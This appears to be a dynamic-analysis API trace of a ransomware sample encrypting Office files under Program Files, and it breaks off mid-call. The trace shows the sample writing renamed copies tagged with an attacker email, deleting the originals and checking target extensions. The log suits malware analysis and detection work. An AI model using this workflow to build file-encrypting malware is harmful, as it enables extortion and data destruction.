0x0 [0039.843] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6931, lpOverlapped=0x0) returned 1 [0039.886] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0039.896] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.896] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.896] SetEndOfFile (hFile=0x1cc) returned 1 [0039.896] CloseHandle (hObject=0x1cc) returned 1 [0039.897] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.897] SetEndOfFile (hFile=0x1ec) returned 1 [0039.898] CloseHandle (hObject=0x1ec) returned 1 [0039.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0039.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.898] lstrlenW (lpString=".doc") returned 4 [0039.898] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString=".docx") returned 5 [0039.899] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0039.899] lstrlenW (lpString=".pdf") returned 4 [0039.899] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString=".xls") returned 4 [0039.899] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString=".xlsx") returned 5 [0039.899] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0039.899] lstrlenW (lpString=".ppt") returned 4 [0039.899] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.899] lstrlenW (lpString=".zip") returned 4 [0039.899] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString=".rar") returned 4 [0039.899] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString=".bz2") returned 4 [0039.899] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.899] lstrlenW (lpString=".7z") returned 3 [0039.899] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.899] lstrlenW (lpString=".dbf") returned 4 [0039.899] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.899] lstrlenW (lpString=".1cd") returned 4 [0039.899] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.900] lstrlenW (lpString=".jpg") returned 4 [0039.900] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.900] lstrlenW (lpString=".doc") returned 4 [0039.900] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString=".docx") returned 5 [0039.900] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0039.900] lstrlenW (lpString=".pdf") returned 4 [0039.900] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString=".xls") returned 4 [0039.900] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString=".xlsx") returned 5 [0039.900] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0039.900] lstrlenW (lpString=".ppt") returned 4 [0039.900] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.900] lstrlenW (lpString=".zip") returned 4 [0039.900] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString=".rar") returned 4 [0039.900] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.900] lstrlenW (lpString=".bz2") returned 4 [0039.900] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.900] lstrlenW (lpString=".7z") returned 3 [0039.900] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.900] lstrlenW (lpString=".dbf") returned 4 [0039.900] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.901] lstrlenW (lpString=".1cd") returned 4 [0039.901] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.901] lstrlenW (lpString=".jpg") returned 4 [0039.901] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0039.901] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.901] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0039.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.901] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1450) returned 1 [0039.901] CloseHandle (hObject=0x1ec) returned 1 [0039.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0039.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.902] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.902] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.903] GetLastError () returned 0x0 [0039.903] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0039.905] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0039.906] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.906] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0039.906] SetEndOfFile (hFile=0x1cc) returned 1 [0039.906] CloseHandle (hObject=0x1cc) returned 1 [0039.906] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.907] SetEndOfFile (hFile=0x1ec) returned 1 [0039.907] CloseHandle (hObject=0x1ec) returned 1 [0039.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.908] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.908] lstrlenW (lpString=".doc") returned 4 [0039.908] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString=".docx") returned 5 [0039.908] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.908] lstrlenW (lpString=".pdf") returned 4 [0039.908] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString=".xls") returned 4 [0039.908] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString=".xlsx") returned 5 [0039.908] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.908] lstrlenW (lpString=".ppt") returned 4 [0039.908] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.908] lstrlenW (lpString=".zip") returned 4 [0039.908] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.908] lstrlenW (lpString=".rar") returned 4 [0039.908] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString=".bz2") returned 4 [0039.908] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.908] lstrlenW (lpString=".7z") returned 3 [0039.908] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.908] lstrlenW (lpString=".dbf") returned 4 [0039.909] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString=".1cd") returned 4 [0039.909] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString=".jpg") returned 4 [0039.909] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString=".doc") returned 4 [0039.909] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString=".docx") returned 5 [0039.909] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.909] lstrlenW (lpString=".pdf") returned 4 [0039.909] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString=".xls") returned 4 [0039.909] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString=".xlsx") returned 5 [0039.909] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.909] lstrlenW (lpString=".ppt") returned 4 [0039.909] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString=".zip") returned 4 [0039.909] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.909] lstrlenW (lpString=".rar") returned 4 [0039.909] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString=".bz2") returned 4 [0039.909] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.909] lstrlenW (lpString=".7z") returned 3 [0039.909] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.909] lstrlenW (lpString=".dbf") returned 4 [0039.909] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.910] lstrlenW (lpString=".1cd") returned 4 [0039.910] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0039.910] lstrlenW (lpString=".jpg") returned 4 [0039.910] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.910] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.910] lstrlenW (lpString="SETUP.XML") returned 9 [0039.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.911] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1886) returned 1 [0039.911] CloseHandle (hObject=0x1ec) returned 1 [0039.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0039.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0039.911] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.911] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.911] GetLastError () returned 0x0 [0039.912] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x75e, lpOverlapped=0x0) returned 1 [0039.913] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0039.914] ReadFile (in: hFile=0x1ec, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.914] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.914] SetEndOfFile (hFile=0x1cc) returned 1 [0039.914] CloseHandle (hObject=0x1cc) returned 1 [0039.915] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.915] SetEndOfFile (hFile=0x1ec) returned 1 [0039.916] CloseHandle (hObject=0x1ec) returned 1 [0039.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0039.916] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0039.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.916] lstrlenW (lpString=".doc") returned 4 [0039.916] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.916] lstrlenW (lpString=".docx") returned 5 [0039.916] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.916] lstrlenW (lpString=".pdf") returned 4 [0039.916] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.916] lstrlenW (lpString=".xls") returned 4 [0039.916] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.916] lstrlenW (lpString=".xlsx") returned 5 [0039.916] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.916] lstrlenW (lpString=".ppt") returned 4 [0039.916] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".zip") returned 4 [0039.917] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.917] lstrlenW (lpString=".rar") returned 4 [0039.917] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString=".bz2") returned 4 [0039.917] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString=".7z") returned 3 [0039.917] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".dbf") returned 4 [0039.917] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".1cd") returned 4 [0039.917] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".jpg") returned 4 [0039.917] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".doc") returned 4 [0039.917] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString=".docx") returned 5 [0039.917] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0039.917] lstrlenW (lpString=".pdf") returned 4 [0039.917] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString=".xls") returned 4 [0039.917] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString=".xlsx") returned 5 [0039.917] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0039.917] lstrlenW (lpString=".ppt") returned 4 [0039.917] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.917] lstrlenW (lpString=".zip") returned 4 [0039.918] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.918] lstrlenW (lpString=".rar") returned 4 [0039.918] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.918] lstrlenW (lpString=".bz2") returned 4 [0039.918] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.918] lstrlenW (lpString=".7z") returned 3 [0039.918] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.918] lstrlenW (lpString=".dbf") returned 4 [0039.918] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.918] lstrlenW (lpString=".1cd") returned 4 [0039.918] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0039.918] lstrlenW (lpString=".jpg") returned 4 [0039.918] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.918] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.918] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0039.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.536] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6421) returned 1 [0040.536] CloseHandle (hObject=0x1ac) returned 1 [0040.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 